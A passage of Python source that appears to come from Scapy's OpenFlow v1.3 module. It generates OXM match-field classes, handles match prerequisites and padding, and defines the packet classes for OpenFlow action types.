\"FRAG\",\n             \"ROUTER\",\n             \"HOP\",\n             \"UNREP\",\n             \"UNSEQ\"]\n\n# here we fill ofp_oxm_fields with the fields that will be used\n# to generate the various OXM classes\n# e.g. the call to add_ofp_oxm_fields(0, [\"OFBInPort\", \"in_port\", 4])\n# will add {0: [ShortEnumField(\"class\",..), BitEnumField(\"field\",..),..]}\nofp_oxm_fields = {}\n\n\ndef add_ofp_oxm_fields(i, org):\n    ofp_oxm_fields[i] = [ShortEnumField(\"class_\", \"OFPXMC_OPENFLOW_BASIC\", ofp_oxm_classes),  # noqa: E501\n                         BitEnumField(\"field\", i // 2, 7, ofp_oxm_names),\n                         BitField(\"hasmask\", i % 2, 1)]\n    ofp_oxm_fields[i].append(ByteField(\"len\", org[2] + org[2] * (i % 2)))\n    if i // 2 == 0:           # OFBInPort\n        ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no))\n    elif i // 2 == 3 or i // 2 == 4:          # OFBEthSrc & OFBEthDst\n        ofp_oxm_fields[i].append(MACField(org[1], None))\n    elif i // 2 == 11 or i // 2 == 12:        # OFBIPv4Src & OFBIPv4Dst\n        ofp_oxm_fields[i].append(IPField(org[1], \"0\"))\n    elif i // 2 == 39:        # OFBIPv6ExtHdr\n        ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8 * org[2], ipv6flags))\n    else:\n        ofp_oxm_fields[i].append(BitField(org[1], 0, 8 * org[2]))\n    if i % 2:\n        ofp_oxm_fields[i].append(BitField(org[1] + \"_mask\", 0, 8 * org[2]))\n\n\n# some HM classes are not supported par OFv1.3 but we will create them anyway\nfor i, cls in ofp_oxm_constr.items():\n    add_ofp_oxm_fields(2 * i, cls)\n    add_ofp_oxm_fields(2 * i + 1, cls)\n\n# now we create every OXM class with the same call,\n# (except that static variable create_oxm_class.i is each time different)\n# and we fill ofp_oxm_cls with them\nofp_oxm_cls = {}\nofp_oxm_id_cls = {}\n\n\ndef _create_oxm_cls():\n    # static variable initialization\n    if not hasattr(_create_oxm_cls, \"i\"):\n        _create_oxm_cls.i = 0\n\n    index = _create_oxm_cls.i\n    cls_name = ofp_oxm_constr[index // 4][0]\n    # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID\n    if index % 4 == 2:\n        cls_name += \"HM\"\n    if index % 2:\n        cls_name += \"ID\"\n\n    oxm_name = ofp_oxm_names[index // 4]\n    oxm_fields = ofp_oxm_fields[index // 2]\n    # for ID classes we just want the first 4 fields (no payload)\n    if index % 2:\n        oxm_fields = oxm_fields[:4]\n\n    cls = type(cls_name, (Packet,), {\"name\": oxm_name, \"fields_desc\": oxm_fields})  # noqa: E501\n    # the first call to special function type will create the same class as in\n    # class OFBInPort(Packet):\n    # def __init__(self):\n    #         self.name = \"OFB_IN_PORT\"\n    # self.fields_desc = [ ShortEnumField(\"class\", 0x8000, ofp_oxm_classes),\n    #                              BitEnumField(\"field\", 0, 7, ofp_oxm_names),\n    #                              BitField(\"hasmask\", 0, 1),\n    #                              ByteField(\"len\", 4),\n    # IntEnumField(\"in_port\", 0, ofp_port_no) ]\n\n    if index % 2 == 0:\n        ofp_oxm_cls[index // 2] = cls\n    else:\n        ofp_oxm_id_cls[index // 2] = cls\n    _create_oxm_cls.i += 1\n    cls.extract_padding = lambda self, s: (b\"\", s)\n    return cls\n\n\nOFBInPort = _create_oxm_cls()\nOFBInPortID = _create_oxm_cls()\nOFBInPortHM = _create_oxm_cls()\nOFBInPortHMID = _create_oxm_cls()\nOFBInPhyPort = _create_oxm_cls()\nOFBInPhyPortID = _create_oxm_cls()\nOFBInPhyPortHM = _create_oxm_cls()\nOFBInPhyPortHMID = _create_oxm_cls()\nOFBMetadata = _create_oxm_cls()\nOFBMetadataID = _create_oxm_cls()\nOFBMetadataHM = _create_oxm_cls()\nOFBMetadataHMID = _create_oxm_cls()\nOFBEthDst = _create_oxm_cls()\nOFBEthDstID = _create_oxm_cls()\nOFBEthDstHM = _create_oxm_cls()\nOFBEthDstHMID = _create_oxm_cls()\nOFBEthSrc = _create_oxm_cls()\nOFBEthSrcID = _create_oxm_cls()\nOFBEthSrcHM = _create_oxm_cls()\nOFBEthSrcHMID = _create_oxm_cls()\nOFBEthType = _create_oxm_cls()\nOFBEthTypeID = _create_oxm_cls()\nOFBEthTypeHM = _create_oxm_cls()\nOFBEthTypeHMID = _create_oxm_cls()\nOFBVLANVID = _create_oxm_cls()\nOFBVLANVIDID = _create_oxm_cls()\nOFBVLANVIDHM = _create_oxm_cls()\nOFBVLANVIDHMID = _create_oxm_cls()\nOFBVLANPCP = _create_oxm_cls()\nOFBVLANPCPID = _create_oxm_cls()\nOFBVLANPCPHM = _create_oxm_cls()\nOFBVLANPCPHMID = _create_oxm_cls()\nOFBIPDSCP = _create_oxm_cls()\nOFBIPDSCPID = _create_oxm_cls()\nOFBIPDSCPHM = _create_oxm_cls()\nOFBIPDSCPHMID = _create_oxm_cls()\nOFBIPECN = _create_oxm_cls()\nOFBIPECNID = _create_oxm_cls()\nOFBIPECNHM = _create_oxm_cls()\nOFBIPECNHMID = _create_oxm_cls()\nOFBIPProto = _create_oxm_cls()\nOFBIPProtoID = _create_oxm_cls()\nOFBIPProtoHM = _create_oxm_cls()\nOFBIPProtoHMID = _create_oxm_cls()\nOFBIPv4Src = _create_oxm_cls()\nOFBIPv4SrcID = _create_oxm_cls()\nOFBIPv4SrcHM = _create_oxm_cls()\nOFBIPv4SrcHMID = _create_oxm_cls()\nOFBIPv4Dst = _create_oxm_cls()\nOFBIPv4DstID = _create_oxm_cls()\nOFBIPv4DstHM = _create_oxm_cls()\nOFBIPv4DstHMID = _create_oxm_cls()\nOFBTCPSrc = _create_oxm_cls()\nOFBTCPSrcID = _create_oxm_cls()\nOFBTCPSrcHM = _create_oxm_cls()\nOFBTCPSrcHMID = _create_oxm_cls()\nOFBTCPDst = _create_oxm_cls()\nOFBTCPDstID = _create_oxm_cls()\nOFBTCPDstHM = _create_oxm_cls()\nOFBTCPDstHMID = _create_oxm_cls()\nOFBUDPSrc = _create_oxm_cls()\nOFBUDPSrcID = _create_oxm_cls()\nOFBUDPSrcHM = _create_oxm_cls()\nOFBUDPSrcHMID = _create_oxm_cls()\nOFBUDPDst = _create_oxm_cls()\nOFBUDPDstID = _create_oxm_cls()\nOFBUDPDstHM = _create_oxm_cls()\nOFBUDPDstHMID = _create_oxm_cls()\nOFBSCTPSrc = _create_oxm_cls()\nOFBSCTPSrcID = _create_oxm_cls()\nOFBSCTPSrcHM = _create_oxm_cls()\nOFBSCTPSrcHMID = _create_oxm_cls()\nOFBSCTPDst = _create_oxm_cls()\nOFBSCTPDstID = _create_oxm_cls()\nOFBSCTPDstHM = _create_oxm_cls()\nOFBSCTPDstHMID = _create_oxm_cls()\nOFBICMPv4Type = _create_oxm_cls()\nOFBICMPv4TypeID = _create_oxm_cls()\nOFBICMPv4TypeHM = _create_oxm_cls()\nOFBICMPv4TypeHMID = _create_oxm_cls()\nOFBICMPv4Code = _create_oxm_cls()\nOFBICMPv4CodeID = _create_oxm_cls()\nOFBICMPv4CodeHM = _create_oxm_cls()\nOFBICMPv4CodeHMID = _create_oxm_cls()\nOFBARPOP = _create_oxm_cls()\nOFBARPOPID = _create_oxm_cls()\nOFBARPOPHM = _create_oxm_cls()\nOFBARPOPHMID = _create_oxm_cls()\nOFBARPSPA = _create_oxm_cls()\nOFBARPSPAID = _create_oxm_cls()\nOFBARPSPAHM = _create_oxm_cls()\nOFBARPSPAHMID = _create_oxm_cls()\nOFBARPTPA = _create_oxm_cls()\nOFBARPTPAID = _create_oxm_cls()\nOFBARPTPAHM = _create_oxm_cls()\nOFBARPTPAHMID = _create_oxm_cls()\nOFBARPSHA = _create_oxm_cls()\nOFBARPSHAID = _create_oxm_cls()\nOFBARPSHAHM = _create_oxm_cls()\nOFBARPSHAHMID = _create_oxm_cls()\nOFBARPTHA = _create_oxm_cls()\nOFBARPTHAID = _create_oxm_cls()\nOFBARPTHAHM = _create_oxm_cls()\nOFBARPTHAHMID = _create_oxm_cls()\nOFBIPv6Src = _create_oxm_cls()\nOFBIPv6SrcID = _create_oxm_cls()\nOFBIPv6SrcHM = _create_oxm_cls()\nOFBIPv6SrcHMID = _create_oxm_cls()\nOFBIPv6Dst = _create_oxm_cls()\nOFBIPv6DstID = _create_oxm_cls()\nOFBIPv6DstHM = _create_oxm_cls()\nOFBIPv6DstHMID = _create_oxm_cls()\nOFBIPv6FLabel = _create_oxm_cls()\nOFBIPv6FLabelID = _create_oxm_cls()\nOFBIPv6FLabelHM = _create_oxm_cls()\nOFBIPv6FLabelHMID = _create_oxm_cls()\nOFBICMPv6Type = _create_oxm_cls()\nOFBICMPv6TypeID = _create_oxm_cls()\nOFBICMPv6TypeHM = _create_oxm_cls()\nOFBICMPv6TypeHMID = _create_oxm_cls()\nOFBICMPv6Code = _create_oxm_cls()\nOFBICMPv6CodeID = _create_oxm_cls()\nOFBICMPv6CodeHM = _create_oxm_cls()\nOFBICMPv6CodeHMID = _create_oxm_cls()\nOFBIPv6NDTarget = _create_oxm_cls()\nOFBIPv6NDTargetID = _create_oxm_cls()\nOFBIPv6NDTargetHM = _create_oxm_cls()\nOFBIPv6NDTargetHMID = _create_oxm_cls()\nOFBIPv6NDSLL = _create_oxm_cls()\nOFBIPv6NDSLLID = _create_oxm_cls()\nOFBIPv6NDSLLHM = _create_oxm_cls()\nOFBIPv6NDSLLHMID = _create_oxm_cls()\nOFBIPv6NDTLL = _create_oxm_cls()\nOFBIPv6NDTLLID = _create_oxm_cls()\nOFBIPv6NDTLLHM = _create_oxm_cls()\nOFBIPv6NDTLLHMID = _create_oxm_cls()\nOFBMPLSLabel = _create_oxm_cls()\nOFBMPLSLabelID = _create_oxm_cls()\nOFBMPLSLabelHM = _create_oxm_cls()\nOFBMPLSLabelHMID = _create_oxm_cls()\nOFBMPLSTC = _create_oxm_cls()\nOFBMPLSTCID = _create_oxm_cls()\nOFBMPLSTCHM = _create_oxm_cls()\nOFBMPLSTCHMID = _create_oxm_cls()\nOFBMPLSBoS = _create_oxm_cls()\nOFBMPLSBoSID = _create_oxm_cls()\nOFBMPLSBoSHM = _create_oxm_cls()\nOFBMPLSBoSHMID = _create_oxm_cls()\nOFBPBBISID = _create_oxm_cls()\nOFBPBBISIDID = _create_oxm_cls()\nOFBPBBISIDHM = _create_oxm_cls()\nOFBPBBISIDHMID = _create_oxm_cls()\nOFBTunnelID = _create_oxm_cls()\nOFBTunnelIDID = _create_oxm_cls()\nOFBTunnelIDHM = _create_oxm_cls()\nOFBTunnelIDHMID = _create_oxm_cls()\nOFBIPv6ExtHdr = _create_oxm_cls()\nOFBIPv6ExtHdrID = _create_oxm_cls()\nOFBIPv6ExtHdrHM = _create_oxm_cls()\nOFBIPv6ExtHdrHMID = _create_oxm_cls()\n\n# need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications  # noqa: E501\n# e.g. if you want to use an OFBTCPSrc instance (code 26)\n# you first need to declare an OFBIPProto instance (code 20) with value 6,\n# and if you want to use an OFBIPProto instance (still code 20)\n# you first need to declare an OFBEthType instance (code 10) with value 0x0800\n# (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6)\n# need_prereq codes are two times higher than previous oxm classes codes,\n# except for 21 which is sort of a proxy for IPv6 (see below)\nneed_prereq = {14: [12, 0x1000],\n               16: [10, 0x0800],    # could be 0x86dd\n               18: [10, 0x0800],    # could be 0x86dd\n               20: [10, 0x0800],    # could be 0x86dd\n               21: [10, 0x86dd],\n               22: [10, 0x0800],\n               24: [10, 0x0800],\n               26: [20, 6],\n               28: [20, 6],\n               30: [20, 17],\n               32: [20, 17],\n               34: [20, 132],\n               36: [20, 132],\n               38: [20, 1],\n               40: [20, 1],\n               42: [10, 0x0806],\n               44: [10, 0x0806],\n               46: [10, 0x0806],\n               48: [10, 0x0806],\n               50: [10, 0x0806],\n               52: [10, 0x86dd],\n               54: [10, 0x86dd],\n               56: [10, 0x86dd],\n               58: [21, 58],  # small trick here, we refer to normally non-\n               60: [21, 58],  # existent field 21 to distinguish ipv6\n               62: [58, 135],       # could be 136\n               64: [58, 135],\n               66: [58, 136],\n               68: [10, 0x8847],    # could be 0x8848\n               70: [10, 0x8847],    # could be 0x8848\n               72: [10, 0x8847],    # could be 0x8848\n               74: [10, 0x88e7],\n               78: [10, 0x86dd]}\n\n\nclass OXMPacketListField(PacketListField):\n\n    __slots__ = [\"autocomplete\", \"index\"]\n\n    def __init__(self, name, default, cls, length_from=None, autocomplete=False):  # noqa: E501\n        PacketListField.__init__(self, name, default, cls, length_from=length_from)  # noqa: E501\n        self.autocomplete = autocomplete\n        self.index = []\n\n    def i2m(self, pkt, val):\n        # this part makes for a faster writing of specs-compliant matches\n        # expect some unwanted behaviour if you try incoherent associations\n        # you might want to set autocomplete=False in __init__ method\n        if self.autocomplete or conf.contribs['OPENFLOW']['prereq_autocomplete']:  # noqa: E501\n            # val might be modified during the loop so we need a fixed copy\n            fix_val = copy.deepcopy(val)\n            for oxm in fix_val:\n                f = 2 * oxm.field\n                fix_index = list(self.index)\n                while f in need_prereq:\n                    # this loop enables a small recursion\n                    # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type\n                    prereq = need_prereq[f]\n                    f = prereq[0]\n                    f2 = 20 if f == 21 else f       # ipv6 trick...\n                    if f2 not in fix_index:\n                        self.index.insert(0, f2)\n                        prrq = ofp_oxm_cls[f2]()    # never HM\n                        setattr(prrq, ofp_oxm_constr[f2 // 2][1], prereq[1])\n                        val.insert(0, prrq)\n                    # we could do more complicated stuff to\n                    # make sure prerequisite order is correct\n                    # but it works well when presented with any coherent input\n                    # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code\n                    # and expect to get coherent results...\n                    # you can still go manual by setting prereq_autocomplete=False  # noqa: E501\n        return val\n\n    def m2i(self, pkt, s):\n        t = orb(s[2])\n        nrm_t = t - t % 2\n        if nrm_t not in self.index:\n            self.index.append(nrm_t)\n        return ofp_oxm_cls.get(t, Raw)(s)\n\n    @staticmethod\n    def _get_oxm_length(s):\n        return orb(s[3])\n\n    def addfield(self, pkt, s, val):\n        return s + b\"\".join(raw(x) for x in self.i2m(pkt, val))\n\n    def getfield(self, pkt, s):\n        lst = []\n        lim = self.length_from(pkt)\n        ret = s[lim:]\n        remain = s[:lim]\n\n        while remain and len(remain) > 4:\n            tmp_len = OXMPacketListField._get_oxm_length(remain) + 4\n            # this could also be done by parsing oxm_fields (fixed lengths)\n            if tmp_len <= 4 or len(remain) < tmp_len:\n                # no incoherent length\n                break\n            current = remain[:tmp_len]\n            remain = remain[tmp_len:]\n            p = self.m2i(pkt, current)\n            lst.append(p)\n\n        self.index = []\n        # since OXMPacketListField is called only twice (when OFPMatch and OFPSetField  # noqa: E501\n        # classes are created) and not when you want to instantiate an OFPMatch,  # noqa: E501\n        # index needs to be reinitialized, otherwise there will be some conflicts  # noqa: E501\n        # e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst,  # noqa: E501\n        # index will already be filled with ethertype and nwproto codes,\n        # thus the corresponding fields will not be added to the packet\n        return remain + ret, lst\n\n\nclass OXMID(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = orb(_pkt[2])\n            return ofp_oxm_id_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMatch(Packet):\n    name = \"OFP_MATCH\"\n    fields_desc = [ShortEnumField(\"type\", 1, {0: \"OFPMT_STANDARD\",\n                                              1: \"OFPMT_OXM\"}),\n                   ShortField(\"len\", None),\n                   OXMPacketListField(\"oxm_fields\", [], Packet,\n                                      length_from=lambda pkt:pkt.len - 4)]\n\n    def post_build(self, p, pay):\n        tmp_len = self.len\n        if tmp_len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n            zero_bytes = (8 - tmp_len % 8) % 8\n            p += b\"\\x00\" * zero_bytes\n        # message with user-defined length will not be automatically padded\n        return p + pay\n\n    def extract_padding(self, s):\n        tmp_len = self.len\n        zero_bytes = (8 - tmp_len % 8) % 8\n        return s[zero_bytes:], s[:zero_bytes]\n\n# ofp_match is no longer a fixed-length structure in v1.3\n# furthermore it may include variable padding\n# we introduce to that end a subclass of PacketField\n\n\nclass MatchField(PacketField):\n    def __init__(self, name):\n        PacketField.__init__(self, name, OFPMatch(), OFPMatch)\n\n    def getfield(self, pkt, s):\n        i = self.m2i(pkt, s)\n        # i can be <OFPMatch> or <OFPMatch <Padding>>\n        # or <OFPMatch <Raw>> or <OFPMatch <Raw <Padding>>>\n        # and we want to return \"\", <OFPMatch> or \"\", <OFPMatch <Padding>>\n        # or raw(<Raw>), <OFPMatch> or raw(<Raw>), <OFPMatch <Padding>>\n        if Raw in i:\n            r = i[Raw]\n            if Padding in r:\n                p = r[Padding]\n                i.payload = p\n                del r.payload\n            return r.load, i\n        else:\n            return b\"\", i\n\n\n#                      Actions                      #\n\n\nclass OpenFlow3(OpenFlow):\n    name = \"OpenFlow v1.3 dissector\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            # port 6653 has been allocated by IANA, port 6633 should no\n            # longer be used\n            # OpenFlow3 function may be called with None self in OFPPacketField\n            of_type = orb(_pkt[1])\n            if of_type == 1:\n                err_type = orb(_pkt[9])\n                # err_type is a short int, but last byte is enough\n                if err_type == 255:\n                    err_type = 65535\n                return ofp_error_cls[err_type]\n            elif of_type == 18:\n                mp_type = orb(_pkt[9])\n                if mp_type == 255:\n                    mp_type = 65535\n                return ofp_multipart_request_cls[mp_type]\n            elif of_type == 19:\n                mp_type = orb(_pkt[9])\n                if mp_type == 255:\n                    mp_type = 65535\n                return ofp_multipart_reply_cls[mp_type]\n            else:\n                return ofpt_cls[of_type]\n        return _UnknownOpenFlow\n\n\nofp_action_types = {0: \"OFPAT_OUTPUT\",\n                    1: \"OFPAT_SET_VLAN_VID\",\n                    2: \"OFPAT_SET_VLAN_PCP\",\n                    3: \"OFPAT_STRIP_VLAN\",\n                    4: \"OFPAT_SET_DL_SRC\",\n                    5: \"OFPAT_SET_DL_DST\",\n                    6: \"OFPAT_SET_NW_SRC\",\n                    7: \"OFPAT_SET_NW_DST\",\n                    8: \"OFPAT_SET_NW_TOS\",\n                    9: \"OFPAT_SET_TP_SRC\",\n                    10: \"OFPAT_SET_TP_DST\",\n                    # 11: \"OFPAT_ENQUEUE\",\n                    11: \"OFPAT_COPY_TTL_OUT\",\n                    12: \"OFPAT_COPY_TTL_IN\",\n                    13: \"OFPAT_SET_MPLS_LABEL\",\n                    14: \"OFPAT_DEC_MPLS_TC\",\n                    15: \"OFPAT_SET_MPLS_TTL\",\n                    16: \"OFPAT_DEC_MPLS_TTL\",\n                    17: \"OFPAT_PUSH_VLAN\",\n                    18: \"OFPAT_POP_VLAN\",\n                    19: \"OFPAT_PUSH_MPLS\",\n                    20: \"OFPAT_POP_MPLS\",\n                    21: \"OFPAT_SET_QUEUE\",\n                    22: \"OFPAT_GROUP\",\n                    23: \"OFPAT_SET_NW_TTL\",\n                    24: \"OFPAT_DEC_NW_TTL\",\n                    25: \"OFPAT_SET_FIELD\",\n                    26: \"OFPAT_PUSH_PBB\",\n                    27: \"OFPAT_POP_PBB\",\n                    65535: \"OFPAT_EXPERIMENTER\"}\n\n\nclass OFPAT(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_action_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPATOutput(OFPAT):\n    name = \"OFPAT_OUTPUT\"\n    fields_desc = [ShortEnumField(\"type\", 0, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   IntEnumField(\"port\", 0, ofp_port_no),\n                   ShortEnumField(\"max_len\", \"NO_BUFFER\", ofp_max_len),\n                   XBitField(\"pad\", 0, 48)]\n\n\n# the following actions are not supported by OFv1.3\n\n\nclass OFPATSetVLANVID(OFPAT):\n    name = \"OFPAT_SET_VLAN_VID\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"vlan_vid\", 0),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATSetVLANPCP(OFPAT):\n    name = \"OFPAT_SET_VLAN_PCP\"\n    fields_desc = [ShortEnumField(\"type\", 2, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"vlan_pcp\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATStripVLAN(OFPAT):\n    name = \"OFPAT_STRIP_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 3, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATSetDlSrc(OFPAT):\n    name = \"OFPAT_SET_DL_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 4, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   MACField(\"dl_addr\", \"0\"),\n                   XBitField(\"pad\", 0, 48)]\n\n\nclass OFPATSetDlDst(OFPAT):\n    name = \"OFPAT_SET_DL_DST\"\n    fields_desc = [ShortEnumField(\"type\", 5, ofp_action_types),\n                   ShortField(\"len\", 16),\n                   MACField(\"dl_addr\", \"0\"),\n                   XBitField(\"pad\", 0, 48)]\n\n\nclass OFPATSetNwSrc(OFPAT):\n    name = \"OFPAT_SET_NW_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 6, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IPField(\"nw_addr\", \"0\")]\n\n\nclass OFPATSetNwDst(OFPAT):\n    name = \"OFPAT_SET_NW_DST\"\n    fields_desc = [ShortEnumField(\"type\", 7, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IPField(\"nw_addr\", \"0\")]\n\n\nclass OFPATSetNwToS(OFPAT):\n    name = \"OFPAT_SET_TP_TOS\"\n    fields_desc = [ShortEnumField(\"type\", 8, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"nw_tos\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATSetTpSrc(OFPAT):\n    name = \"OFPAT_SET_TP_SRC\"\n    fields_desc = [ShortEnumField(\"type\", 9, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"tp_port\", 0),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATSetTpDst(OFPAT):\n    name = \"OFPAT_SET_TP_DST\"\n    fields_desc = [ShortEnumField(\"type\", 10, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"tp_port\", 0),\n                   XShortField(\"pad\", 0)]\n\n# class OFPATEnqueue(OFPAT):\n#       name = \"OFPAT_ENQUEUE\"\n#       fields_desc = [ ShortEnumField(\"type\", 11, ofp_action_types),\n#                       ShortField(\"len\", 16),\n#                       ShortField(\"port\", 0),\n#                       XBitField(\"pad\", 0, 48),\n#                       IntEnumField(\"queue_id\", 0, ofp_queue) ]\n\n\nclass OFPATSetMPLSLabel(OFPAT):\n    name = \"OFPAT_SET_MPLS_LABEL\"\n    fields_desc = [ShortEnumField(\"type\", 13, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IntField(\"mpls_label\", 0)]\n\n\nclass OFPATSetMPLSTC(OFPAT):\n    name = \"OFPAT_SET_MPLS_TC\"\n    fields_desc = [ShortEnumField(\"type\", 14, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"mpls_tc\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n# end of unsupported actions\n\n\nclass OFPATCopyTTLOut(OFPAT):\n    name = \"OFPAT_COPY_TTL_OUT\"\n    fields_desc = [ShortEnumField(\"type\", 11, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATCopyTTLIn(OFPAT):\n    name = \"OFPAT_COPY_TTL_IN\"\n    fields_desc = [ShortEnumField(\"type\", 12, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATSetMPLSTTL(OFPAT):\n    name = \"OFPAT_SET_MPLS_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 15, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"mpls_ttl\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATDecMPLSTTL(OFPAT):\n    name = \"OFPAT_DEC_MPLS_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 16, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATPushVLAN(OFPAT):\n    name = \"OFPAT_PUSH_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 17, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"ethertype\", 0x8100),    # or 0x88a8\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATPopVLAN(OFPAT):\n    name = \"OFPAT_POP_VLAN\"\n    fields_desc = [ShortEnumField(\"type\", 18, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATPushMPLS(OFPAT):\n    name = \"OFPAT_PUSH_MPLS\"\n    fields_desc = [ShortEnumField(\"type\", 19, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"ethertype\", 0x8847),    # or 0x8848\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATPopMPLS(OFPAT):\n    name = \"OFPAT_POP_MPLS\"\n    fields_desc = [ShortEnumField(\"type\", 20, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"ethertype\", 0x8847),    # or 0x8848\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATSetQueue(OFPAT):\n    name = \"OFPAT_SET_QUEUE\"\n    fields_desc = [ShortEnumField(\"type\", 21, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IntEnumField(\"queue_id\", 0, ofp_queue)]\n\n\nclass OFPATGroup(OFPAT):\n    name = \"OFPAT_GROUP\"\n    fields_desc = [ShortEnumField(\"type\", 22, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IntEnumField(\"group_id\", 0, ofp_group)]\n\n\nclass OFPATSetNwTTL(OFPAT):\n    name = \"OFPAT_SET_NW_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 23, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ByteField(\"nw_ttl\", 0),\n                   X3BytesField(\"pad\", 0)]\n\n\nclass OFPATDecNwTTL(OFPAT):\n    name = \"OFPAT_DEC_NW_TTL\"\n    fields_desc = [ShortEnumField(\"type\", 24, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATSetField(OFPAT):\n    name = \"OFPAT_SET_FIELD\"\n    fields_desc = [ShortEnumField(\"type\", 25, ofp_action_types),\n                   ShortField(\"len\", None),\n                   # there should not be more than one oxm tlv\n                   OXMPacketListField(\"field\", [], Packet,\n                                      length_from=lambda pkt:pkt.len - 4,\n                                      # /!\\ contains padding!\n                                      autocomplete=False)]\n\n    def post_build(self, p, pay):\n        tmp_len = self.len\n        zero_bytes = 0\n        if tmp_len is None:\n            tmp_len = len(p) + len(pay)\n            zero_bytes = (8 - tmp_len % 8) % 8\n            tmp_len = tmp_len + zero_bytes    # add padding length\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n            p += b\"\\x00\" * zero_bytes\n        # message with user-defined length will not be automatically padded\n        return p + pay\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPATPushPBB(OFPAT):\n    name = \"OFPAT_PUSH_PBB\"\n    fields_desc = [ShortEnumField(\"type\", 26, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   ShortField(\"ethertype\", 0x88e7),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPATPopPBB(OFPAT):\n    name = \"OFPAT_POP_PBB\"\n    fields_desc = [ShortEnumField(\"type\", 27, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPATExperimenter(OFPAT):\n    name = \"OFPAT_EXPERIMENTER\"\n    fields_desc = [ShortEnumField(\"type\", 65535, ofp_action_types),\n                   ShortField(\"len\", 8),\n                   IntField(\"experimenter\", 0)]\n\n\nofp_action_cls = {0: OFPATOutput,\n                  1: OFPATSetVLANVID,\n                  2: OFPATSetVLANPCP,\n                  3: OFPATStripVLAN,\n                  4: OFPATSetDlSrc,\n                  5: OFPATSetDlDst,\n                  6: OFPATSetNwSrc,\n                  7: OFPATSetNwDst,\n                  8: OFPATSetNwToS,\n                  9: OFPATSetTpSrc,\n                  10: OFPATSetTpDst,\n                  # 11: OFPATEnqueue,\n                  11: OFPATCopyTTLOut,\n                  12: OFPATCopyTTLIn,\n                  13: OFPATSetMPLSLabel,\n                  14: OFPATSetMPLSTC,\n                  15: OFPATSetMPLSTTL,\n                  16: OFPATDecMPLSTTL,\n                  17: OFPATPushVLAN,\n                  18: OFPATPopVLAN,\n                  19: OFPATPushMPLS,\n                  20: OFPATPopMPLS,\n                  21: OFPATSetQueue,\n                  22: OFPATGroup,\n                  23: OFPATSetNwTTL,\n                  24: OFPATDecNwTTL,\n                  25: OFPATSetField,\n                  26: OFPATPushPBB,\n                  27: OFPATPopPBB,\n                  65535: OFPATExperimenter}\n\n\n#                     Action IDs                    #\n\nclass OFPATID(_ofp_header):\n    @classmethod\n    def 